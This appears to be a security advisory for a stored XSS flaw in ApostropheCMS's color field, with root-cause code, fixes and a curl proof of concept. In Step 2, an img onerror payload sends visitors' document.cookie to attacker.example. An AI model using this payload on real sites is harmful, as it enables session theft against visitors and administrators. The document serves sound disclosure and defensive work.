+ "details": "## Summary\n\nThe `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `<style>` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `</style>` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.\n\n## Details\n\n**Root Cause 1: Validation bypass in color field** (`modules/@apostrophecms/color-field/index.js:36`)\n\nThe color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`:\n\n```javascript\n// modules/@apostrophecms/color-field/index.js:26-38\nasync convert(req, field, data, destination) {\n destination[field.name] = self.apos.launder.string(data[field.name]);\n // ...\n const test = new TinyColor(destination[field.name]);\n if (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n }\n},\n```\n\nA value like `--x: red}</style><script>alert(document.cookie)</script><style>` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like `<`, `>`, or `/`.\n\n**Root Cause 2a: Unescaped rendering in widget styles (public path)** (`modules/@apostrophecms/styles/lib/methods.js:232-234`)\n\nThe `getWidgetElements()` method concatenates the CSS string directly into a `<style>` tag:\n\n```javascript\n// modules/@apostrophecms/styles/lib/methods.js:232-234\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n css +\n '\\n</style>';\n```\n\nThis is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for **all visitors** on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`).\n\n**Root Cause 2b: Unescaped rendering in global stylesheet (editor path)** (`modules/@apostrophecms/template/index.js:1164-1165`)\n\nThe `renderNodes()` function returns `node.raw` without escaping:\n\n```javascript\n// modules/@apostrophecms/template/index.js:1164-1165\nif (node.raw != null) {\n return node.raw;\n}\n```\n\nStyle nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`.\n\n## PoC\n\n**Prerequisites:** An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.\n\n**Step 1: Authenticate and obtain a CSRF token and session cookie.**\n\n```bash\n# Login as editor\nCOOKIE_JAR=$(mktemp)\ncurl -s -c \"$COOKIE_JAR\" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"editor\",\"password\":\"editor123\"}'\n\n# Extract CSRF token\nCSRF=$(curl -s -b \"$COOKIE_JAR\" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '\"csrfToken\":\"[^\"]*\"' | cut -d'\"' -f4)\n```\n\n**Step 2: Create or update a piece/page with a malicious color value in a styled widget.**\n\nThe exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property):\n\n```bash\n# Inject XSS payload via color field in widget styles\n# The --x prefix bypasses TinyColor validation\nPAYLOAD='--x: red}</style><img src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"><style>'\n\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n \"http://localhost:3000/api/v1/@apostrophecms/page\" \\\n -H \"Content-Type: application/json\" \\\n -H \"X-XSRF-TOKEN: $CSRF\" \\\n -d '{\n \"slug\": \"/xss-test\",\n \"title\": \"Test Page\",\n \"type\": \"default-page\",\n \"main\": {\n \"items\": [{\n \"type\": \"some-widget\",\n \"styles\": {\n \"backgroundColor\": \"'\"$PAYLOAD\"'\"\n }\n }]\n }\n }'\n```\n\n**Step 3: Publish the page.**\n\n```bash\ncurl -s -b \"$COOKIE_JAR\" -X POST \\\n \"http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish\" \\\n -H \"X-XSRF-TOKEN: $CSRF\"\n```\n\n**Step 4: Any visitor navigates to the published page.**\n\n```bash\n# As an unauthenticated visitor\ncurl -s http://localhost:3000/xss-test | grep -A2 'onerror'\n```\n\n**Expected (safe):** The color value is escaped or rejected.\n\n**Actual:** The rendered HTML contains:\n\n```html\n<style data-apos-widget-style-for=\"...\" data-apos-widget-style-id=\"...\">\n.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror=\"fetch(`https://attacker.example/steal?c=`+document.cookie)\"><style>; }\n</style>\n```\n\nThe injected `</style>` closes the style tag, and the `<img onerror>` executes JavaScript in the visitor's browser.\n\n## Impact\n\n- **Stored XSS on public pages (Path B):** An editor can inject JavaScript that executes for **every visitor** to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.\n- **Privilege escalation (Path A):** An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.\n- **Persistence:** The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.\n- **No CSP mitigation:** Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.\n\n## Recommended Fix\n\n**Fix 1: Sanitize color values in the color field's `convert` method** (`modules/@apostrophecms/color-field/index.js`):\n\n```javascript\n// Before (line 36):\nif (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n}\n\n// After:\nif (!test.isValid && !destination[field.name].startsWith('--')) {\n destination[field.name] = null;\n} else if (destination[field.name].startsWith('--')) {\n // CSS custom property names: only allow alphanumeric, hyphens, underscores\n if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {\n destination[field.name] = null;\n }\n}\n```\n\n**Fix 2: Escape CSS output in `getWidgetElements`** (`modules/@apostrophecms/styles/lib/methods.js`):\n\n```javascript\n// Before (line 232-234):\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n css +\n '\\n</style>';\n\n// After:\nconst sanitizedCss = css.replace(/<\\//g, '<\\\\/');\nreturn `<style data-apos-widget-style-for=\"${widgetId}\" data-apos-widget-style-id=\"${styleId}\">\\n` +\n sanitizedCss +\n '\\n</style>';\n```\n\nBoth fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).",
0 commit comments